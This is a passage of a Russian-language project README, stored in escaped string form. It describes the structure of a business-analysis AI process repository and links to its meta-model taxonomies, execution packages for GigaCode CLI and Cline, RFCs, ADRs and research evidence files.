\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n[`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md).\\n\\n## \u041f\u043e\u0447\u0435\u043c\u0443 \u043c\u043e\u0434\u0443\u043b\u0438 \u0436\u0438\u0432\u0443\u0442 \u0437\u0434\u0435\u0441\u044c\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u043e\\n[`standards/project-structure-inheritance.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/project-structure-inheritance.md):\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0436\u0438\u0432\u0451\u0442 \u0432 `projects/<\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435>/`, \u0430 \u043e\u0431\u0449\u0438\u0439\\n\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `research/` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0439 \u0440\u0430\u043c\u043a\u043e\u0439. \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e \u0432\\n[PR #572](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/572),\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0437\u0430\u0434\u0430\u0447\u0435\u0439 `B-155`\\n([#573](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/573)).\\n\\n\u041a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u043e\u0440\u043c\u0443\\n[Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md),\\n\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u0442\u0435\u0441\u0442\u044b \u0438 \u043f\u0430\u043a\u0435\u0442 \u0438\u043c\u0435\u044e\u0442 \u0444\u043e\u0440\u043c\u0443 \u0441\u0432\u043e\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u043b\u043e\u0436\u0435\u043d\u044b \u0432 `ba-meta-model/`: \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u0438 \u043e\u0434\u043d\u043e\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n\u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0445\u043d\u0435\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438.\\n\\n## \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Source\\n\\n- [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n  \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 (issue\\n  [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563),\\n  \u0432\u0435\u0440\u0441\u0438\u044f 0.2 \u2014 [#571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n  \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 `MM-1`\u2026`MM-4`,\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u0440\u0435\u0435\u0441\u0442\u0440 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n  `DP-1`\u2026`DP-5`, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435\u043c `LG-1`\u2026`LG-6`, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n  `SKILL.md` (`SK-0`\u2026`SK-10`), \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442, Golden Set \u0438 \u043f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n  MVP-\u0441\u0440\u0435\u0437\u0430 \u0441 \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438 `M-1`\u2026`M-5`. \u0412\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435\\n  [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/00-introduction.md)\\n  \u0438 [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md)\\n  \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e;\\n  [`product-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/product-taxonomy)\\n  \u0445\u0440\u0430\u043d\u0438\u0442 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 capabilities MANGO \u0438 \u0438\u0445 42\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0439 \u0418\u0422/\u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 Distribution.\\n- [`meta-model-guides/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/meta-model-guides/README.md)\\n  \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443: \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0447\u0438\u0441\u0442\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 KB,\\n  Confluence MCP, \u0437\u0430\u043f\u0443\u0441\u043a/\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 task \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 debug.\\n- [`tests/execution-package/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/tests/execution-package/README.md)\\n  \u2014 mock-fixtures, assertions \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0433\u0440\u0430\u0444\u0430 \u0431\u0435\u0437 LLM \u0438 MCP.\\n- [`dist/execution-package-gigacode-cli/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md)\\n  \u2014 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0441 `.gigacode/skills/`, \u044f\u0432\u043d\u044b\u043c dispatcher, debug-\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438, \u0433\u0440\u0430\u0444\u043e\u043c, Golden Set \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c `G-mach`.\\n- [`dist/execution-package-cline-vscode/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-621-bd8c46c08849/projects/ba-ai-process/dist/execution-package-cline-vscode/README.md)\\n  \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0438\u043b\u043e\u0442 Cline \u0434\u043b\u044f \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e BCREQ Working \u2192 Release \u0441 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438\\n  hooks, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c runner, CI gate, trace \u0438 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f; Source\\n  \u0441\u0431\u043e\u0440\u043a\u0438 \u2014 `build/common/` \u0438 `build/adapters/cline-vscode/`.\\n- [`meta-model-guides/qwen-chat-runtime-migration-instruction.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/meta-model-guides/qwen-chat-runtime-migration-instruction.md)\\n  \u2014 \u043c\u0430\u043d\u0434\u0430\u0442 \u0434\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0443 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e runtime \u043a \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c\u0443\\n  quick-check \u0432 Qwen Chat; \u044d\u0442\u043e \u043d\u0435 execution package.\\n\\n\u041f\u0430\u043a\u0435\u0442 \u2014 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 RRP-\u043c\u043e\u0434\u0443\u043b\u044c. \u0421\u043e\u0441\u0442\u0430\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e,\\n\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438 \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\\n[\u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/package-manifest.yaml).\\n\u0415\u0433\u043e `docs/kb/.gitkeep` \u0438 `meta-model/.gitkeep` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u044e\u0442 copy-time \u0432\u0445\u043e\u0434\u044b; \u043f\u0430\u043a\u0435\u0442\\n\u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\nProject-scoped \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\\n[`decisions/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/decisions),\\nRFC \u2014 \u0432\\n[`docs/rfc/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/docs/rfc),\\n\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `experiments/`, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 Distribution \u2014\\n\u0432 `dist/`. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0430 \u0432\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md).\\n\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0434\u043b\u044f API, \u041b\u041a \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md).\\n\u041f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0433\u0435\u0439\u0442\u043e\u0432 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\\n[RFC](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md);\\n\u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f issue #603 \u0447\u0430\u0441\u0442\u044c \u043e \u0440\u0430\u043d\u043d\u0435\u0439 MANGO-\u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 Distribution.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438 \u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 